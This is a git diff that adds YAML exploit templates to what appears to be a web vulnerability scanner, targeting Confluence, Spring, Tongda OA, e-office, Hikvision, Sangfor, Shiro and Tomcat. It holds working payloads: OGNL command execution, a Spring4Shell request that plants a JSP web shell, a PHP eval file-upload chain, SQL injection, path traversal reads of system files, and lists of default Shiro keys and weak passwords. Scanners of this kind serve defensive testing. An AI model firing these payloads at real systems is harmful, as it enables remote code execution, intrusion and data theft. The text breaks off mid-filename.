/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ + expression: response.status == 302 && "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)".bmatches(response.raw_header) +detail: + author: zan8in + description: | + Atlassian Confluence OGNL注入漏洞 + Atlassian Confluence是企业广泛使用的wiki系统。2022年6月2日Atlassian官方发布了一则安全更新,通告了一个严重且已在野利用的代码执行漏洞,攻击者利用这个漏洞即可无需任何条件在Confluence中执行任意命令。 + app="ATLASSIAN-Confluence" + links: + - https://nvd.nist.gov/vuln/detail/CVE-2022-26134 + - http://wiki.peiqi.tech/wiki/webapp/AtlassianConfluence/Atlassian%20Confluence%20OGNL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%20CVE-2022-26134.html + - https://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247488978&idx=1&sn=c0a5369f2b374dcef0bbf61b9239b1dd diff --git a/WebScan/pocs/apache-axis-webservice-detect.yml b/WebScan/pocs/apache-axis-webservice-detect.yml new file mode 100644 index 0000000..1b3872d --- /dev/null +++ b/WebScan/pocs/apache-axis-webservice-detect.yml @@ -0,0 +1,25 @@ +name: poc-yaml-apache-axis-webservice-detect +sets: + path: + - services + - servlet/AxisaxiServlet + - servlet/AxisServlet + - services/listServices + - services/FreeMarkerService + - services/AdminService + - axis/services + - axis2/services + - axis/servlet/AxisServlet + - axis2/servlet/AxisServlet + - axis2/services/listServices + - axis/services/FreeMarkerService + - axis/services/AdminService +rules: + - method: GET + path: /{{path}} + expression: | + response.body.bcontains(b"Services") && response.body.bcontains(b'?wsdl">') +detail: + author: AgeloVito + links: + - https://paper.seebug.org/1489 diff --git a/WebScan/pocs/backup-file.yml b/WebScan/pocs/backup-file.yml new file mode 100644 index 0000000..d97b6ae --- /dev/null +++ b/WebScan/pocs/backup-file.yml @@ -0,0 +1,64 @@ +name: poc-yaml-backup-file +set: + host: request.url.domain +sets: + path: + - "sql" + - "www" + - "wwwroot" + - "index" + - "backup" + - "back" + - "data" + - "web" + - "db" + - "database" + - "ftp" + - "admin" + - "upload" + - "package" + - "sql" + - "old" + - "test" + - "root" + - "beifen" + - host + ext: + - "zip" + - "7z" + - "rar" + - "gz" + - "tar.gz" + - "db" + - "bak" + +rules: + - method: GET + path: /{{path}}.{{ext}} + follow_redirects: false + continue: true + expression: | + response.content_type.contains("application/") && + (response.body.startsWith("377ABCAF271C".hexdecode()) || + response.body.startsWith("314159265359".hexdecode()) || + response.body.startsWith("53514c69746520666f726d6174203300".hexdecode()) || + response.body.startsWith("1f8b".hexdecode()) || + response.body.startsWith("526172211A0700".hexdecode()) || + response.body.startsWith("FD377A585A0000".hexdecode()) || + response.body.startsWith("1F9D".hexdecode()) || + response.body.startsWith("1FA0".hexdecode()) || + response.body.startsWith("4C5A4950".hexdecode()) || + response.body.startsWith("504B0304".hexdecode()) ) +# - "377ABCAF271C" # 7z +# - "314159265359" # bz2 +# - "53514c69746520666f726d6174203300" # SQLite format 3. +# - "1f8b" # gz tar.gz +# - "526172211A0700" # rar RAR archive version 1.50 +# - "526172211A070100" # rar RAR archive version 5.0 +# - "FD377A585A0000" # xz tar.xz +# - "1F9D" # z tar.z +# - "1FA0" # z tar.z +# - "4C5A4950" # lz +# - "504B0304" # zip +detail: + author: shadown1ng(https://github.com/shadown1ng) diff --git a/WebScan/pocs/django-CVE-2018-14574.yml b/WebScan/pocs/django-CVE-2018-14574.yml new file mode 100644 index 0000000..5811652 --- /dev/null +++ b/WebScan/pocs/django-CVE-2018-14574.yml @@ -0,0 +1,12 @@ +name: poc-yaml-django-CVE-2018-14574 + +rules: + - method: GET + path: //www.example.com + follow_redirects: false + expression: response.status == 301 && response.headers['location']=="//www.example.com/" + +detail: + author: ivan + links: + - https://github.com/vulhub/vulhub/tree/master/django/CVE-2018-14574 \ No newline at end of file diff --git a/WebScan/pocs/e-office-v10-sql-inject.yml b/WebScan/pocs/e-office-v10-sql-inject.yml new file mode 100644 index 0000000..8650a38 --- /dev/null +++ b/WebScan/pocs/e-office-v10-sql-inject.yml @@ -0,0 +1,14 @@ +name: e-office-v10-sql-inject +rules: + - method: GET + path: /eoffice10/server/ext/system_support/leave_record.php?flow_id=1&run_id=1&table_field=1&table_field_name=user()&max_rows=10 + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(b'

未找到相关数据

') +detail: + author: Print1n(https://github.com/Print1n) + description: | + 泛微 eoffice v10 前台 SQL 注入 + FOFA:fid="2csJpuWtfTdSAavIfJTuBw==" + links: + - https://www.hedysx.com/2777.html diff --git a/WebScan/pocs/e-office-v9-upload-cnvd-2021-49104.yml b/WebScan/pocs/e-office-v9-upload-cnvd-2021-49104.yml new file mode 100644 index 0000000..85da964 --- /dev/null +++ b/WebScan/pocs/e-office-v9-upload-cnvd-2021-49104.yml @@ -0,0 +1,23 @@ +name: poc-yaml-e-office-v9-upload-cnvd-2021-49104 +manual: true +transport: http +set: + r1: randomLowercase(8) +rules: + - method: POST + path: /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= + headers: + Content-Type: multipart/form-data;boundary=e64bdf16c554bbc109cecef6451c26a4 + body: "--e64bdf16c554bbc109cecef6451c26a4\r\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"test.jsp\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n--e64bdf16c554bbc109cecef6451c26a4--\r\n\r\n" + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(b"logo-eoffice") + - method: GET + path: /images/logo/logo-eoffice.php + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(bytes(r1)) +detail: + author: we1x4n + links: + - https://blog.csdn.net/weixin_44309905/article/details/121588557 diff --git a/WebScan/pocs/ezoffice-dpwnloadhttp.jsp-filedownload.yml b/WebScan/pocs/ezoffice-dpwnloadhttp.jsp-filedownload.yml new file mode 100644 index 0000000..97d5c9a --- /dev/null +++ b/WebScan/pocs/ezoffice-dpwnloadhttp.jsp-filedownload.yml @@ -0,0 +1,13 @@ +name: poc-yaml-ezoffice-downloadhttp.jsp-filedownload +rules: + - method: GET + path: /defaultroot/site/templatemanager/downloadhttp.jsp?fileName=../public/edit/jsp/config.jsp + follow_redirects: false + expression: | + response.status == 200 && response.headers["filename"].contains("../public/edit/jsp/config.jsp") + +detail: + author: PeiQi0 + links: + - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E4%B8%87%E6%88%B7OA/%E4%B8%87%E6%88%B7OA%20downloadhttp.jsp%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD%E6%BC%8F%E6%B4%9E.md + tags: ezoffice,file,download diff --git a/WebScan/pocs/fckeditor-info.yml b/WebScan/pocs/fckeditor-info.yml new file mode 100644 index 0000000..09a7e3e --- /dev/null +++ b/WebScan/pocs/fckeditor-info.yml @@ -0,0 +1,19 @@ +name: poc-yaml-fckeditor-info +sets: + path: + - "/fckeditor/_samples/default.html" + - "/fckeditor/editor/filemanager/connectors/uploadtest.html" + - "/ckeditor/samples/" + - "/editor/ckeditor/samples/" + - "/ckeditor/samples/sample_posteddata.php" + - "/editor/ckeditor/samples/sample_posteddata.php" + - "/fck/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php" + - "/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellcheckder.php" +rules: + - method: GET + path: /{{path}} + follow_redirects: false + expression: | + response.body.bcontains(b'FCKeditor') || response.body.bcontains(b'<title>CKEditor Samples') || response.body.bcontains(b'http://ckeditor.com') || response.body.bcontains(b'Custom Uploader URL:') || response.body.bcontains(b'init_spell()') || response.body.bcontains(b"'tip':'") +detail: + author: shadown1ng(https://github.com/shadown1ng) diff --git a/WebScan/pocs/hikvision-gateway-data-file-read.yml b/WebScan/pocs/hikvision-gateway-data-file-read.yml new file mode 100644 index 0000000..646c609 --- /dev/null +++ b/WebScan/pocs/hikvision-gateway-data-file-read.yml @@ -0,0 +1,15 @@ +name: hikvision-gateway-data-file-read +rules: + - method: GET + path: /data/login.php::$DATA + expression: | + response.status == 200 && response.body.bcontains(b'DataBaseQuery();') && response.body.bcontains(b'$_POST[\'userName\'];') && response.body.bcontains(b'$_POST[\'password\'];') +info: + author: zan8in + description: | + HIKVISION 视频编码设备接入网关 $DATA 任意文件读取 + HIKVISION 视频编码设备接入网关存在配置错误特性,特殊后缀请求php文件可读取源码 + title="视频编码设备接入网关" + links: + - http://wiki.peiqi.tech/wiki/iot/HIKVISION/HIKVISION%20%E8%A7%86%E9%A2%91%E7%BC%96%E7%A0%81%E8%AE%BE%E5%A4%87%E6%8E%A5%E5%85%A5%E7%BD%91%E5%85%B3%20$DATA%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96.html + diff --git a/WebScan/pocs/hikvision-showfile-file-read.yml b/WebScan/pocs/hikvision-showfile-file-read.yml new file mode 100644 index 0000000..5174263 --- /dev/null +++ b/WebScan/pocs/hikvision-showfile-file-read.yml @@ -0,0 +1,13 @@ +name: hikvision-showfile-file-read +rules: + - method: GET + path: /serverLog/showFile.php?fileName=../web/html/main.php + expression: | + response.status == 200 && response.body.bcontains(b'$_SERVER[\'HTTP_HOST\'];') && response.body.bcontains(b'$_POST[\'userName\'];') +info: + author: zan8in + description: | + 海康威视视频接入网关系统在页面/serverLog/showFile.php的参数fileName存在任意文件下载漏洞 + title="视频编码设备接入网关" + links: + - http://wiki.peiqi.tech/wiki/iot/HIKVISION/HIKVISION%20%E8%A7%86%E9%A2%91%E7%BC%96%E7%A0%81%E8%AE%BE%E5%A4%87%E6%8E%A5%E5%85%A5%E7%BD%91%E5%85%B3%20showFile.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD%E6%BC%8F%E6%B4%9E.html diff --git a/WebScan/pocs/sangfor-ad-download.php-filedownload.yml b/WebScan/pocs/sangfor-ad-download.php-filedownload.yml new file mode 100644 index 0000000..bdc320e --- /dev/null +++ b/WebScan/pocs/sangfor-ad-download.php-filedownload.yml @@ -0,0 +1,13 @@ +name: poc-yaml-sangfor-ad-download.php-filedownload +rules: + - method: GET + path: /report/download.php?pdf=../../../../../etc/hosts + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(b'localhost') && response.headers['Content-Disposition'].contains('hosts') + +detail: + author: PeiQi0 + links: + - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/webapp/%E6%B7%B1%E4%BF%A1%E6%9C%8D/%E6%B7%B1%E4%BF%A1%E6%9C%8D%20%E5%BA%94%E7%94%A8%E4%BA%A4%E4%BB%98%E6%8A%A5%E8%A1%A8%E7%B3%BB%E7%BB%9F%20download.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md + tags: sangfor,file,download diff --git a/WebScan/pocs/seeyon-oa-a8-m-information-disclosure.yml b/WebScan/pocs/seeyon-oa-a8-m-information-disclosure.yml new file mode 100644 index 0000000..1fa3fdb --- /dev/null +++ b/WebScan/pocs/seeyon-oa-a8-m-information-disclosure.yml @@ -0,0 +1,18 @@ +name: poc-yaml-seeyon-oa-a8-m-information-disclosure +manual: true +transport: http +rules: + - method: GET + path: /seeyon/management/index.jsp + expression: response.status == 200 + - method: POST + path: /seeyon/management/index.jsp + headers: + Content-Type: application/x-www-form-urlencoded + body: password=WLCCYBD%40SEEYON + follow_redirects: true + expression: response.status == 200 && response.body.bcontains(bytes("Free Physical Memory Size")) +detail: + author: Monday + links: + - http://wiki.peiqi.tech/wiki/oa/%E8%87%B4%E8%BF%9COA/%E8%87%B4%E8%BF%9COA%20A8%20status.jsp%20%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E.html diff --git a/WebScan/pocs/shiro-key.yml b/WebScan/pocs/shiro-key.yml new file mode 100644 index 0000000..4a56b23 --- /dev/null +++ b/WebScan/pocs/shiro-key.yml @@ -0,0 +1,155 @@ +name: poc-yaml-shiro-key +set: + randstr: randomUppercase(32) +sets: + key: + - "kPH+bIxk5D2deZiIxcaaaA==" + - "2AvVhdsgUs0FSA3SDFAdag==" + - "3AvVhmFLUs0KTA3Kprsdag==" + - "4AvVhmFLUs0KTA3Kprsdag==" + - "5aaC5qKm5oqA5pyvAAAAAA==" + - "6ZmI6I2j5Y+R5aSn5ZOlAA==" + - "bWljcm9zAAAAAAAAAAAAAA==" + - "wGiHplamyXlVB11UXWol8g==" + - "Z3VucwAAAAAAAAAAAAAAAA==" + - "MTIzNDU2Nzg5MGFiY2RlZg==" + - "zSyK5Kp6PZAAjlT+eeNMlg==" + - "U3ByaW5nQmxhZGUAAAAAAA==" + - "5AvVhmFLUs0KTA3Kprsdag==" + - "bXdrXl9eNjY2KjA3Z2otPQ==" + - "fCq+/xW488hMTCD+cmJ3aQ==" + - "1QWLxg+NYmxraMoxAXu/Iw==" + - "ZUdsaGJuSmxibVI2ZHc9PQ==" + - "L7RioUULEFhRyxM7a2R/Yg==" + - "r0e3c16IdVkouZgk1TKVMg==" + - "bWluZS1hc3NldC1rZXk6QQ==" + - "a2VlcE9uR29pbmdBbmRGaQ==" + - "WcfHGU25gNnTxTlmJMeSpw==" + - "ZAvph3dsQs0FSL3SDFAdag==" + - "tiVV6g3uZBGfgshesAQbjA==" + - "cmVtZW1iZXJNZQAAAAAAAA==" + - "ZnJlc2h6Y24xMjM0NTY3OA==" + - "RVZBTk5JR0hUTFlfV0FPVQ==" + - "WkhBTkdYSUFPSEVJX0NBVA==" + - "GsHaWo4m1eNbE0kNSMULhg==" + - "l8cc6d2xpkT1yFtLIcLHCg==" + - "KU471rVNQ6k7PQL4SqxgJg==" + - "0AvVhmFLUs0KTA3Kprsdag==" + - "1AvVhdsgUs0FSA3SDFAdag==" + - "25BsmdYwjnfcWmnhAciDDg==" + - "3JvYhmBLUs0ETA5Kprsdag==" + - "6AvVhmFLUs0KTA3Kprsdag==" + - "6NfXkC7YVCV5DASIrEm1Rg==" + - "7AvVhmFLUs0KTA3Kprsdag==" + - "8AvVhmFLUs0KTA3Kprsdag==" + - "8BvVhmFLUs0KTA3Kprsdag==" + - "9AvVhmFLUs0KTA3Kprsdag==" + - "OUHYQzxQ/W9e/UjiAGu6rg==" + - "a3dvbmcAAAAAAAAAAAAAAA==" + - "aU1pcmFjbGVpTWlyYWNsZQ==" + - "bXRvbnMAAAAAAAAAAAAAAA==" + - "OY//C4rhfwNxCQAQCrQQ1Q==" + - "5J7bIJIV0LQSN3c9LPitBQ==" + - "f/SY5TIve5WWzT4aQlABJA==" + - "bya2HkYo57u6fWh5theAWw==" + - "WuB+y2gcHRnY2Lg9+Aqmqg==" + - "3qDVdLawoIr1xFd6ietnwg==" + - "YI1+nBV//m7ELrIyDHm6DQ==" + - "6Zm+6I2j5Y+R5aS+5ZOlAA==" + - "2A2V+RFLUs+eTA3Kpr+dag==" + - "6ZmI6I2j3Y+R1aSn5BOlAA==" + - "SkZpbmFsQmxhZGUAAAAAAA==" + - "2cVtiE83c4lIrELJwKGJUw==" + - "fsHspZw/92PrS3XrPW+vxw==" + - "XTx6CKLo/SdSgub+OPHSrw==" + - "sHdIjUN6tzhl8xZMG3ULCQ==" + - "O4pdf+7e+mZe8NyxMTPJmQ==" + - "HWrBltGvEZc14h9VpMvZWw==" + - "rPNqM6uKFCyaL10AK51UkQ==" + - "Y1JxNSPXVwMkyvES/kJGeQ==" + - "lT2UvDUmQwewm6mMoiw4Ig==" + - "MPdCMZ9urzEA50JDlDYYDg==" + - "xVmmoltfpb8tTceuT5R7Bw==" + - "c+3hFGPjbgzGdrC+MHgoRQ==" + - "ClLk69oNcA3m+s0jIMIkpg==" + - "Bf7MfkNR0axGGptozrebag==" + - "1tC/xrDYs8ey+sa3emtiYw==" + - "ZmFsYWRvLnh5ei5zaGlybw==" + - "cGhyYWNrY3RmREUhfiMkZA==" + - "IduElDUpDDXE677ZkhhKnQ==" + - "yeAAo1E8BOeAYfBlm4NG9Q==" + - "cGljYXMAAAAAAAAAAAAAAA==" + - "2itfW92XazYRi5ltW0M2yA==" + - "XgGkgqGqYrix9lI6vxcrRw==" + - "ertVhmFLUs0KTA3Kprsdag==" + - "5AvVhmFLUS0ATA4Kprsdag==" + - "s0KTA3mFLUprK4AvVhsdag==" + - "hBlzKg78ajaZuTE0VLzDDg==" + - "9FvVhtFLUs0KnA3Kprsdyg==" + - "d2ViUmVtZW1iZXJNZUtleQ==" + - "yNeUgSzL/CfiWw1GALg6Ag==" + - "NGk/3cQ6F5/UNPRh8LpMIg==" + - "4BvVhmFLUs0KTA3Kprsdag==" + - "MzVeSkYyWTI2OFVLZjRzZg==" + - "empodDEyMwAAAAAAAAAAAA==" + - "A7UzJgh1+EWj5oBFi+mSgw==" + - "c2hpcm9fYmF0aXMzMgAAAA==" + - "i45FVt72K2kLgvFrJtoZRw==" + - "U3BAbW5nQmxhZGUAAAAAAA==" + - "Jt3C93kMR9D5e8QzwfsiMw==" + - "MTIzNDU2NzgxMjM0NTY3OA==" + - "vXP33AonIp9bFwGl7aT7rA==" + - "V2hhdCBUaGUgSGVsbAAAAA==" + - "Q01TX0JGTFlLRVlfMjAxOQ==" + - "Is9zJ3pzNh2cgTHB4ua3+Q==" + - "NsZXjXVklWPZwOfkvk6kUA==" + - "GAevYnznvgNCURavBhCr1w==" + - "66v1O8keKNV3TTcGPK1wzg==" + - "SDKOLKn2J1j/2BHjeZwAoQ==" + - "kPH+bIxk5D2deZiIxcabaA==" + - "kPH+bIxk5D2deZiIxcacaA==" + - "3AvVhdAgUs0FSA4SDFAdBg==" + - "4AvVhdsgUs0F563SDFAdag==" + - "FL9HL9Yu5bVUJ0PDU1ySvg==" + - "5RC7uBZLkByfFfJm22q/Zw==" + - "eXNmAAAAAAAAAAAAAAAAAA==" + - "fdCEiK9YvLC668sS43CJ6A==" + - "FJoQCiz0z5XWz2N2LyxNww==" + - "HeUZ/LvgkO7nsa18ZyVxWQ==" + - "HoTP07fJPKIRLOWoVXmv+Q==" + - "iycgIIyCatQofd0XXxbzEg==" + - "m0/5ZZ9L4jjQXn7MREr/bw==" + - "NoIw91X9GSiCrLCF03ZGZw==" + - "oPH+bIxk5E2enZiIxcqaaA==" + - "QAk0rp8sG0uJC4Ke2baYNA==" + - "Rb5RN+LofDWJlzWAwsXzxg==" + - "s2SE9y32PvLeYo+VGFpcKA==" + - "SrpFBcVD89eTQ2icOD0TMg==" + - "U0hGX2d1bnMAAAAAAAAAAA==" + - "Us0KvVhTeasAm43KFLAeng==" + - "Ymx1ZXdoYWxlAAAAAAAAAA==" + - "YWJjZGRjYmFhYmNkZGNiYQ==" + - "zIiHplamyXlVB11UXWol8g==" + - "ZjQyMTJiNTJhZGZmYjFjMQ==" + mode: + - "cbc" + - "gcm" + payload: + - shirokey(key,mode) +rules: + - method: GET + path: / + follow_redirects: false + headers: + Cookie: JSESSIONID={{randstr}};rememberMe=login + expression: | + "Set-Cookie" in response.headers && (response.headers["Set-Cookie"].contains("rememberMe=") || response.headers["Set-Cookie"].contains("=deleteMe")) + - method: GET + path: / + headers: + Cookie: JSESSIONID={{randstr}};rememberMe={{payload}} + follow_redirects: false + expression: | + !response.headers["Set-Cookie"].contains("rememberMe=") +detail: + author: shadown1ng(https://github.com/shadown1ng) diff --git a/WebScan/pocs/spring-core-rce.yml b/WebScan/pocs/spring-core-rce.yml new file mode 100644 index 0000000..8b14957 --- /dev/null +++ b/WebScan/pocs/spring-core-rce.yml @@ -0,0 +1,27 @@ +name: poc-yaml-spring-core-rce +manual: true +transport: http +set: + r1: randomInt(40000, 44800) +rules: + - method: POST + path: / + headers: + suffix: "%>//" + c1: "Runtime" + c2: "<%" + DNT: "1" + Content-Type: "application/x-www-form-urlencoded" + body: "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22data%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22word%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" + follow_redirects: true + expression: | + response.status == 200 + - method: GET + path: /tomcatwar.jsp?data=j&word=echo%20{r1} + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1))) +detail: + author: marmot + links: + - https://github.com/Mr-xn/spring-core-rce \ No newline at end of file diff --git a/WebScan/pocs/springboot-cve-2021-21234.yml b/WebScan/pocs/springboot-cve-2021-21234.yml new file mode 100644 index 0000000..6bf8103 --- /dev/null +++ b/WebScan/pocs/springboot-cve-2021-21234.yml @@ -0,0 +1,22 @@ +name: poc-yaml-springboot-cve-2021-21234 +groups: + spring1: + - method: GET + path: /manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../ + expression: response.status == 200 && response.body.bcontains(b"for 16-bit app support") && response.body.bcontains(b"fonts") + spring2: + - method: GET + path: /log/view?filename=/windows/win.ini&base=../../../../../../../../../../ + expression: response.status == 200 && response.body.bcontains(b"for 16-bit app support") && response.body.bcontains(b"fonts") + spring3: + - method: GET + path: /manage/log/view?filename=/etc/hosts&base=../../../../../../../../../../ + expression: response.status == 200 && response.body.bcontains(b"127.0.0.1") && response.body.bcontains(b"localhost") + spring4: + - method: GET + path: /log/view?filename=/etc/hosts&base=../../../../../../../../../../ + expression: response.status == 200 && response.body.bcontains(b"127.0.0.1") && response.body.bcontains(b"localhost") +detail: + author: iak3ec(https://github.com/nu0l) + links: + - https://mp.weixin.qq.com/s/ZwhBEz2ek26Zf3F-csoRgQ diff --git a/WebScan/pocs/sql-file.yml b/WebScan/pocs/sql-file.yml new file mode 100644 index 0000000..ba43906 --- /dev/null +++ b/WebScan/pocs/sql-file.yml @@ -0,0 +1,32 @@ +name: poc-yaml-sql-file +set: + host: request.url.domain +sets: + path: + - "1.sql" + - "backup.sql" + - "database.sql" + - "data.sql" + - "db_backup.sql" + - "dbdump.sql" + - "db.sql" + - "dump.sql" + - "{{host}}.sql" + - "{{host}}_db.sql" + - "localhost.sql" + - "mysqldump.sql" + - "mysql.sql" + - "site.sql" + - "sql.sql" + - "temp.sql" + - "translate.sql" + - "users.sql" +rules: + - method: GET + path: /{{path}} + follow_redirects: false + continue: true + expression: | + "(?m)(?:DROP|CREATE|(?:UN)?LOCK) TABLE|INSERT INTO".bmatches(response.body) +detail: + author: shadown1ng(https://github.com/shadown1ng) diff --git a/WebScan/pocs/swagger-ui-unauth.yml b/WebScan/pocs/swagger-ui-unauth.yml index bafddd3..42826ae 100644 --- a/WebScan/pocs/swagger-ui-unauth.yml +++ b/WebScan/pocs/swagger-ui-unauth.yml @@ -1,6 +1,7 @@ name: poc-yaml-swagger-ui-unauth sets: path: + - swagger/ui/index - swagger-ui.html - api/swagger-ui.html - service/swagger-ui.html @@ -9,11 +10,20 @@ sets: - actuator/swagger-ui.html - libs/swagger-ui.html - template/swagger-ui.html + - api_docs + - api/docs/ + - api/index.html + - swagger/v1/swagger.yaml + - swagger/v1/swagger.json + - swagger.yaml + - swagger.json + - api-docs/swagger.yaml + - api-docs/swagger.json rules: - method: GET path: /{{path}} expression: | - response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js") + response.status == 200 && (response.body.bcontains(b"Swagger UI") || response.body.bcontains(b"swagger-ui.min.js")|| response.body.bcontains(b'swagger:') || response.body.bcontains(b'swagger:') || response.body.bcontains(b'Swagger 2.0') || response.body.bcontains(b"\"swagger\":") ) detail: author: AgeloVito links: diff --git a/WebScan/pocs/tomcat-manager-weak.yml b/WebScan/pocs/tomcat-manager-weak.yml index b167851..b9abb18 100644 --- a/WebScan/pocs/tomcat-manager-weak.yml +++ b/WebScan/pocs/tomcat-manager-weak.yml @@ -6,9 +6,9 @@ sets: - root - manager password: + - tomcat - "" - admin - - tomcat - 123456 - root payload: diff --git a/WebScan/pocs/tongda-insert-sql-inject.yml b/WebScan/pocs/tongda-insert-sql-inject.yml new file mode 100644 index 0000000..fc7a2c0 --- /dev/null +++ b/WebScan/pocs/tongda-insert-sql-inject.yml @@ -0,0 +1,21 @@ +name: tongda-insert-sql-inject +rules: + - method: POST + path: /general/document/index.php/recv/register/insert + body: | + title)values("'"^exp(if(ascii(substr(MOD(5,2),1,1))<128,1,710)))# =1&_SERVER= + expression: response.status == 302 && response.headers["set-cookie"].contains("PHPSESSID=") + - method: POST + path: /general/document/index.php/recv/register/insert + body: | + title)values("'"^exp(if(ascii(substr((select/**/SID/**/from/**/user_online/**/limit/**/0,1),8,1))<66,1,710)))# =1&_SERVER= + expression: response.status != 502 && response.status != 500 +detail: + author: zan8in + description: | + 通达OA v11.6 insert参数包含SQL注入漏洞,攻击者通过漏洞可获取数据库敏感信息 + app="TDXK-通达OA" + 发送请求包判断漏洞 /general/document/index.php/recv/register/insert 返回302则是存在漏洞,返回500则不存在 + links: + - http://wiki.peiqi.tech/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v11.6%20insert%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html + - https://blog.csdn.net/weixin_39779975/article/details/111091529 diff --git a/WebScan/pocs/tongda-oa-v11.9-api.ali.php-upload.yml b/WebScan/pocs/tongda-oa-v11.9-api.ali.php-upload.yml new file mode 100644 index 0000000..d88044e --- /dev/null +++ b/WebScan/pocs/tongda-oa-v11.9-api.ali.php-upload.yml @@ -0,0 +1,41 @@ +name: poc-yaml-tongda-oa-v11.9-api.ali.php-fileupload +set: + filename: randomLowercase(8) + r1: randomLowercase(8) + payload: base64("file_put_contents('../../"+filename+".php','');") + rboundary: md5(randomLowercase(8)) + date: TDdate() +rules: + - method: POST + path: /mobile/api/api.ali.php + headers: + Content-Type: multipart/form-data; boundary={{rboundary}} + Accept-Encoding: gzip + follow_redirects: false + body: "\ + --{{rboundary}}\r\n\ + Content-Disposition: form-data; name=\"file\"; filename=\"{{filename}}.json\"\r\n\ + Content-Type: application/octet-stream\r\n\ + \r\n\ + {\"modular\":\"AllVariable\",\"a\":\"{{payload}}\",\"dataAnalysis\":\"{\\\"a\\\":\\\"錦',$BackData[dataAnalysis] => eval(base64_decode($BackData[a])));/*\\\"}\"}\r\n\ + --{{rboundary}}--\r\n\ + " + expression: | + response.status == 200 + + - method: GET + path: /inc/package/work.php?id=../../../../../myoa/attach/approve_center/{{date}}/%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E.{{filename}} + expression: | + response.status == 200 && response.body.bcontains(b'OK') + + - method: GET + path: /{{filename}}.php + expression: | + response.status == 200 && response.body.bcontains(bytes(md5(r1))) + +detail: + author: PeiQi0 + influence_version: "<= 通达OA 11.9" + links: + - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v11.8%20api.ali.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.md + tags: tongda,fileupload diff --git a/WebScan/pocs/tongda-user-session-disclosure.yml b/WebScan/pocs/tongda-user-session-disclosure.yml index aad3585..831c7ef 100644 --- a/WebScan/pocs/tongda-user-session-disclosure.yml +++ b/WebScan/pocs/tongda-user-session-disclosure.yml @@ -1,17 +1,13 @@ -name: poc-yaml-tongda-user-session-disclosure +name: tongda-user-session-disclosure rules: - method: GET - path: /mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0 - follow_redirects: false - expression: "true" - - - method: POST - path: /general/userinfo.php?UID=1 - follow_redirects: false - expression: | - response.status == 200 && response.body.bcontains(b"\"dept_name\":\"") && response.body.bcontains(b"\"online_flag\":") && response.headers["Content-Type"].contains("application/json") - + path: /mobile/auth_mobi.php?isAvatar=1&uid=11121212121212&P_VER=0 + expression: response.body.bcontains(b'RELOGIN') && response.status == 200 detail: - author: kzaopa(https://github.com/kzaopa) - links: - - https://mp.weixin.qq.com/s/llyGEBRo0t-C7xOLMDYfFQ \ No newline at end of file + author: kzaopa(https://github.com/kzaopa) + description: | + 通达OA v11.7 中存在某接口查询在线用户,当用户在线时会返回 PHPSESSION使其可登录后台系统 + links: + - http://wiki.peiqi.tech/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v11.7%20auth_mobi.php%20%E5%9C%A8%E7%BA%BF%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95%E6%BC%8F%E6%B4%9E.html + - https://www.cnblogs.com/T0uch/p/14475551.html + - https://s1xhcl.github.io/2021/03/13/%E9%80%9A%E8%BE%BEOA-v11-7-%E5%9C%A8%E7%BA%BF%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95%E6%BC%8F%E6%B4%9E/ diff --git a/WebScan/pocs/tongda-v2017-uploadfile.yml 